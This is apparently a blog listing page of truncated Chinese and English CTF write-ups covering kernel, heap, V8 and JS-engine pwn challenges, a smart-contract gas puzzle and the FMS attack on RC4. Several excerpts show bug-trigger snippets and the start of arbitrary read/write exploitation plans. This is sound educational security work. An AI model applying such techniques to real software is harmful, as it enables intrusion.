2021Pwnhub - 8月内部赛-tvmc
本文第一发布平台为安全客:https://www.anquanke.com/post/id/250882
题目分析题目的保护如下:
12345Arch: amd64-64-littleRELRO: No RELROStack: Canary foundNX: NX enabledPIE: PIE enabled
可以根据保护猜到本题应该是通过改 got 表的形式来进行利用
题目的主函数如下:
题目会让你输入一个 name 并保存在 bss 段上,然后读取你要传入的 code 的信息来将 code 放在 bss 段上,之后通过 vm 执行这些 code ,vm 的逻辑如下
指令的结构如下:
1op_code | value1 | value2 | value3
归纳一下有如下操作:
12345678910111213141516count = 8 op_code | value1 | value2 | value30x70 : data[value1] = data[value2] + data[value3]0x90 : dat ...
2018强网杯 - core
程序提取提取镜像:
12345mkdir corecd coremv ../core.cpio core.cpio.gzgunzip ./core.cpio.gzcpio -idm < ./core.cpio
在目录下有一个 gen_cpio.sh ,内容如下:
123find . -print0 \| cpio --null -ov --format=newc \| gzip -9 > $1
可以发现是一个方便打包的脚本,我们添加如下代码:
12345mv ../exp ./tmp/expfind . -print0 \| cpio --null -ov --format=newc \| gzip -9 > $1mv core.cpio ../core.cpio
然后使用如下命令重打包:
1./gen_cpio.sh core.cpio
之后修改 start.sh 脚本
12345678sudo qemu-system-x86_64 \-m 128M \-kernel ./bzImage \-initrd ./core.cpio \-append &quo ...
2017CISCN - babydriver
题目分析首先从文件系统中找到 init 脚本:
12345678910111213141516171819#!/bin/sh mount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devchown root:root flagchmod 400 flagexec 0</dev/consoleexec 1>/dev/consoleexec 2>/dev/consoleinsmod /lib/modules/4.4.72/babydriver.kochmod 777 /dev/babydevecho -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"setsid cttyhack setuidgid 1000 shumount /procumount /syspoweroff -d 0 -f
可以发现驱动位于 /lib/modules/4.4.72/babydriver. ...
2021强网杯 - Fifty-Fifty
漏洞分析与利用漏洞触发方式很简单
1234a = new Array(1);a.pop();a.pop();print(a.length)
之后我们调试如下代码
12345678910111213a = new Array(1);a.pop();a.pop();a[1] = 0xbeef;a[2] = 0xdead;a[14] = 0x1234;a[15] = 0x5678;print("finish");for(let i = 0; i < 100000000; i ++){}
可以通过硬看内存的方式看出来数组 a 的位置
其位置也在JS堆靠前的位置
随后声明两个 ArrayBuffer 和 DataView,我们计划通过数组a 来修改 dv 的长度来越界读写,然后更改 dv2 的 ArrayBuffer 指针来达到任意地址读写的目的
数组a使用INTEGER的原因是我调试的时候发现如果使用的是浮点数或者字符串之类的东西,好像会单独开辟一个空间存储浮点数或字符串的值,然后将空间地址的指针存储到数组a的element处,这样并不好 ...
2021PlaidCTF - The False Promise
本文第一发布平台为安全客:https://www.anquanke.com/post/id/239995
题目分析题目的diff文件如下:
1234567891011121314151617diff --git a/src/builtins/promise-jobs.tq b/src/builtins/promise-jobs.tqindex 80e98f373b..ad5eb093e8 100644--- a/src/builtins/promise-jobs.tq+++ b/src/builtins/promise-jobs.tq@@ -23,10 +23,8 @@ PromiseResolveThenableJob(implicit context: Context)( // debugger is active, to make sure we expose spec compliant behavior. const nativeContext = LoadNativeContext(context); const promiseThen = *NativeC ...
2021TCTF - babyheap
题目分析题目的 dockerfile 如下
123456FROM ubuntu:20.04ARG USER=ctfCOPY --chown=root:10000 babyheap flag /RUN apt-get update && apt-get -y dist-upgrade && apt-get -y install musl && groupadd -g 10000 $USER && useradd -N -u 10000 -g 10000 $USER && chmod 750 /babyheap && chmod 440 /flagUSER 10000:10000CMD ["/usr/bin/timeout", "-s9", "300", "/babyheap"]
musl 的版本为 1.1.24
题目中 chunk 的结构如下
12345struct chunk{ QWORD is_us ...
2021TCTF - Gas Machine
题目信息12345678910111213[+] You need to implement a smart contract as the gas machine, and send us its RUNTIME bytecode. We will check it for 1000 times. Each time we call the machine with no input data and a random amount of gas between [21100, 99999]. All gas should be used, while the tx must not fail.[+] Limit: Forbidden opcodes: [240, 241, 242, 244, 245, 250, 255]; Max length: 100f0 CREATEf1 CALLf2 CALLCODEf4 DELEGATECALLf5 CREATE2fa STATICCALLff SELFDESTRUCT[+] Note: Istanbul
解题思路
用循环消耗 ...
2021津门杯 - no1
漏洞分析与利用漏洞触发方式很简单
123var ab = new ArrayBuffer(10);var dv = new DataView(ab);print(dv.getUint32(0x100, 1));
之后我们调试如下代码
1234567891011var ab = new ArrayBuffer(10);var dv = new DataView(ab);var ab2 = new ArrayBuffer(0x1337);var dv2 = new DataView(ab2);print("finish");for(let i = 0; i < 100000000; i ++){}
能够找到 ab 和 dv
以及 ab2 和 dv2
通过地址可以发现 ab 在 dv2上方,那么可以通过 ab 越界修改 dv2 指向 ab2 的指针做到任意地址读写
12345678910111213141516171819202122232425var idx = 0;for (let i = 1; i < 0x1000; i++ ...
浅析FMS attack
本文第一发布平台为安全客:https://www.anquanke.com/post/id/231461
简介FMS attack是对广泛使用的RC4流密码的攻击,本人将简单介绍一下该攻击。
RC4RC4(Rivest Cipher 4)是一种流加密算法,密码长度可变,是有线等效加密(WEP)中采用的加密算法。其原理比较简单,包括密钥调度算法(KSA)和伪随机子密码生成算法(PRGA)两大部分:
KSARC4初始化的时候会先对state进行初始化,如下所示:
1234def __init__(self): self.state = [i for i in range(256)] self.i = 0 self.j = 0
然后将使用key来对state进行更新,每一步都会将两个状态的值互换:
12345678def __swap_state(self, a, b): self.state[a], self.state[b] = self.state[b], self.state[a] def ksa(self, key): j = 0 for i in ...
2018GoogleCTF-Just-In-Time
IntroductionThis is a small write up and recurrence for 2018GoogleCTF Just-In-Time.
Build environmentThe version of chromium is 70.0.3538.9, we just need V8, so we can use OmahaProxy CSV Viewer to get the version of V8, the result is 7.0.276.3. And we can build it.
We should allow checkbounds optimization, just use echo "v8_untrusted_code_mitigations = false" >> out.gn/x64.debug/args.gn
AnalysisThe patch file addition-reducer.patch is as follow:
12345678910111213141516171819202 ...